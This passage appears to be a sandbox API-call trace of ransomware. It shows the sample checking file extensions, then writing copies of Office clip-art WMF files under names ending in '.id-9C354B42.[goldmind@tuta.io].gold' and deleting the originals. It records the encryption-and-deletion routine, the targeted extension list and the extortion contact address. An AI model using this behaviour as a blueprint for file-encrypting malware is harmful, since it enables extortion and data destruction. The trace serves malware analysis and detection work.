(lpString1=".doc", lpString2=".WMF") returned -1 [0107.716] lstrlenW (lpString=".docx") returned 5 [0107.716] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0107.716] lstrlenW (lpString=".pdf") returned 4 [0107.716] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.716] lstrlenW (lpString=".xls") returned 4 [0107.716] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.716] lstrlenW (lpString=".xlsx") returned 5 [0107.716] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0107.716] lstrlenW (lpString=".ppt") returned 4 [0107.716] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0107.716] lstrlenW (lpString=".zip") returned 4 [0107.716] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.716] lstrlenW (lpString=".rar") returned 4 [0107.716] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.716] lstrlenW (lpString=".bz2") returned 4 [0107.716] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.716] lstrlenW (lpString=".7z") returned 3 [0107.716] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0107.716] lstrlenW (lpString=".dbf") returned 4 [0107.716] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0107.716] lstrlenW (lpString=".1cd") returned 4 [0107.716] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0107.716] lstrlenW (lpString=".jpg") returned 4 [0107.716] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.716] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0107.716] lstrlenW (lpString="J0107350.WMF") returned 12 [0107.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0107.732] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=23672) returned 1 [0107.732] CloseHandle (hObject=0x230) returned 1 [0107.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf")) returned 0x20 [0107.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0107.837] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.837] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0107.838] GetLastError () returned 0x0 [0107.838] ReadFile (in: hFile=0x194, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x5c78, lpOverlapped=0x0) returned 1 [0107.842] WriteFile (in: hFile=0x3a8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x5c80, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x5c80, lpOverlapped=0x0) returned 1 [0107.843] ReadFile (in: hFile=0x194, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.843] WriteFile (in: hFile=0x3a8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0107.843] SetEndOfFile (hFile=0x3a8) returned 1 [0107.843] CloseHandle (hObject=0x3a8) returned 1 [0107.843] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.843] SetEndOfFile (hFile=0x194) returned 1 [0107.845] CloseHandle (hObject=0x194) returned 1 [0107.845] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.845] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf")) returned 1 [0107.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0107.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0107.847] lstrlenW (lpString=".doc") returned 4 [0107.847] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.847] lstrlenW (lpString=".docx") returned 5 [0107.847] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0107.847] lstrlenW (lpString=".pdf") returned 4 [0107.847] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.847] lstrlenW (lpString=".xls") returned 4 [0107.847] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.847] lstrlenW (lpString=".xlsx") returned 5 [0107.847] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0107.847] lstrlenW (lpString=".ppt") returned 4 [0107.847] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0107.847] lstrlenW (lpString=".zip") returned 4 [0107.847] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.847] lstrlenW (lpString=".rar") returned 4 [0107.847] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.847] lstrlenW (lpString=".bz2") returned 4 [0107.847] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.847] lstrlenW (lpString=".7z") returned 3 [0107.847] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0107.848] lstrlenW (lpString=".dbf") returned 4 [0107.848] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0107.848] lstrlenW (lpString=".1cd") returned 4 [0107.848] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0107.848] lstrlenW (lpString=".jpg") returned 4 [0107.848] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0107.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0107.848] lstrlenW (lpString=".doc") returned 4 [0107.848] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.848] lstrlenW (lpString=".docx") returned 5 [0107.848] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0107.848] lstrlenW (lpString=".pdf") returned 4 [0107.848] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.848] lstrlenW (lpString=".xls") returned 4 [0107.848] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.848] lstrlenW (lpString=".xlsx") returned 5 [0107.848] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0107.848] lstrlenW (lpString=".ppt") returned 4 [0107.848] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0107.848] lstrlenW (lpString=".zip") returned 4 [0107.848] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.848] lstrlenW (lpString=".rar") returned 4 [0107.848] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.848] lstrlenW (lpString=".bz2") returned 4 [0107.848] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.848] lstrlenW (lpString=".7z") returned 3 [0107.848] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0107.848] lstrlenW (lpString=".dbf") returned 4 [0107.848] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0107.848] lstrlenW (lpString=".1cd") returned 4 [0107.848] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0107.848] lstrlenW (lpString=".jpg") returned 4 [0107.848] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.849] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0107.849] lstrlenW (lpString="J0107452.WMF") returned 12 [0107.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0107.850] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=21216) returned 1 [0107.850] CloseHandle (hObject=0x194) returned 1 [0107.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf")) returned 0x20 [0107.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0107.850] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.850] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0107.851] GetLastError () returned 0x0 [0107.851] ReadFile (in: hFile=0x194, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x52e0, lpOverlapped=0x0) returned 1 [0107.852] WriteFile (in: hFile=0x3a8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x52f0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x52f0, lpOverlapped=0x0) returned 1 [0107.853] ReadFile (in: hFile=0x194, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.853] WriteFile (in: hFile=0x3a8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0107.854] SetEndOfFile (hFile=0x3a8) returned 1 [0107.854] CloseHandle (hObject=0x3a8) returned 1 [0107.854] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.854] SetEndOfFile (hFile=0x194) returned 1 [0107.855] CloseHandle (hObject=0x194) returned 1 [0107.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.856] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf")) returned 1 [0107.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0107.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0107.856] lstrlenW (lpString=".doc") returned 4 [0107.856] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.856] lstrlenW (lpString=".docx") returned 5 [0107.856] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0107.856] lstrlenW (lpString=".pdf") returned 4 [0107.856] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.856] lstrlenW (lpString=".xls") returned 4 [0107.857] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.857] lstrlenW (lpString=".xlsx") returned 5 [0107.857] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0107.857] lstrlenW (lpString=".ppt") returned 4 [0107.857] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0107.857] lstrlenW (lpString=".zip") returned 4 [0107.857] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.857] lstrlenW (lpString=".rar") returned 4 [0107.857] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.857] lstrlenW (lpString=".bz2") returned 4 [0107.857] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.857] lstrlenW (lpString=".7z") returned 3 [0107.857] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0107.857] lstrlenW (lpString=".dbf") returned 4 [0107.857] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0107.857] lstrlenW (lpString=".1cd") returned 4 [0107.857] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0107.857] lstrlenW (lpString=".jpg") returned 4 [0107.857] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0107.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0107.857] lstrlenW (lpString=".doc") returned 4 [0107.857] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.857] lstrlenW (lpString=".docx") returned 5 [0107.857] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0107.857] lstrlenW (lpString=".pdf") returned 4 [0107.857] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.857] lstrlenW (lpString=".xls") returned 4 [0107.857] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.857] lstrlenW (lpString=".xlsx") returned 5 [0107.857] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0107.857] lstrlenW (lpString=".ppt") returned 4 [0107.857] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0107.857] lstrlenW (lpString=".zip") returned 4 [0107.857] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.857] lstrlenW (lpString=".rar") returned 4 [0107.857] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.857] lstrlenW (lpString=".bz2") returned 4 [0107.857] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.858] lstrlenW (lpString=".7z") returned 3 [0107.858] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0107.858] lstrlenW (lpString=".dbf") returned 4 [0107.858] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0107.858] lstrlenW (lpString=".1cd") returned 4 [0107.858] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0107.858] lstrlenW (lpString=".jpg") returned 4 [0107.858] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.858] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0107.858] lstrlenW (lpString="J0107456.WMF") returned 12 [0107.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0107.858] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=3724) returned 1 [0107.858] CloseHandle (hObject=0x194) returned 1 [0107.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf")) returned 0x20 [0107.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0107.859] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.859] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0107.860] GetLastError () returned 0x0 [0107.860] ReadFile (in: hFile=0x194, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0xe8c, lpOverlapped=0x0) returned 1 [0107.861] WriteFile (in: hFile=0x3a8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xe90, lpOverlapped=0x0) returned 1 [0107.862] ReadFile (in: hFile=0x194, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.862] WriteFile (in: hFile=0x3a8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0107.862] SetEndOfFile (hFile=0x3a8) returned 1 [0107.862] CloseHandle (hObject=0x3a8) returned 1 [0107.862] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.863] SetEndOfFile (hFile=0x194) returned 1 [0107.864] CloseHandle (hObject=0x194) returned 1 [0107.864] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.864] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf")) returned 1 [0107.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0107.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0107.865] lstrlenW (lpString=".doc") returned 4 [0107.865] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.865] lstrlenW (lpString=".docx") returned 5 [0107.865] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0107.865] lstrlenW (lpString=".pdf") returned 4 [0107.865] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.865] lstrlenW (lpString=".xls") returned 4 [0107.865] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.865] lstrlenW (lpString=".xlsx") returned 5 [0107.865] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0107.865] lstrlenW (lpString=".ppt") returned 4 [0107.865] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0107.865] lstrlenW (lpString=".zip") returned 4 [0107.865] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.865] lstrlenW (lpString=".rar") returned 4 [0107.865] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.865] lstrlenW (lpString=".bz2") returned 4 [0107.865] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.865] lstrlenW (lpString=".7z") returned 3 [0107.865] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0107.865] lstrlenW (lpString=".dbf") returned 4 [0107.865] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0107.865] lstrlenW (lpString=".1cd") returned 4 [0107.865] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0107.866] lstrlenW (lpString=".jpg") returned 4 [0107.866] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0107.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0107.866] lstrlenW (lpString=".doc") returned 4 [0107.866] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.866] lstrlenW (lpString=".docx") returned 5 [0107.866] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0107.866] lstrlenW (lpString=".pdf") returned 4 [0107.866] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.866] lstrlenW (lpString=".xls") returned 4 [0107.866] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.866] lstrlenW (lpString=".xlsx") returned 5 [0107.866] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0107.866] lstrlenW (lpString=".ppt") returned 4 [0107.866] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0107.866] lstrlenW (lpString=".zip") returned 4 [0107.866] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.866] lstrlenW (lpString=".rar") returned 4 [0107.866] lstrcmpiW (lpString1=".rar", 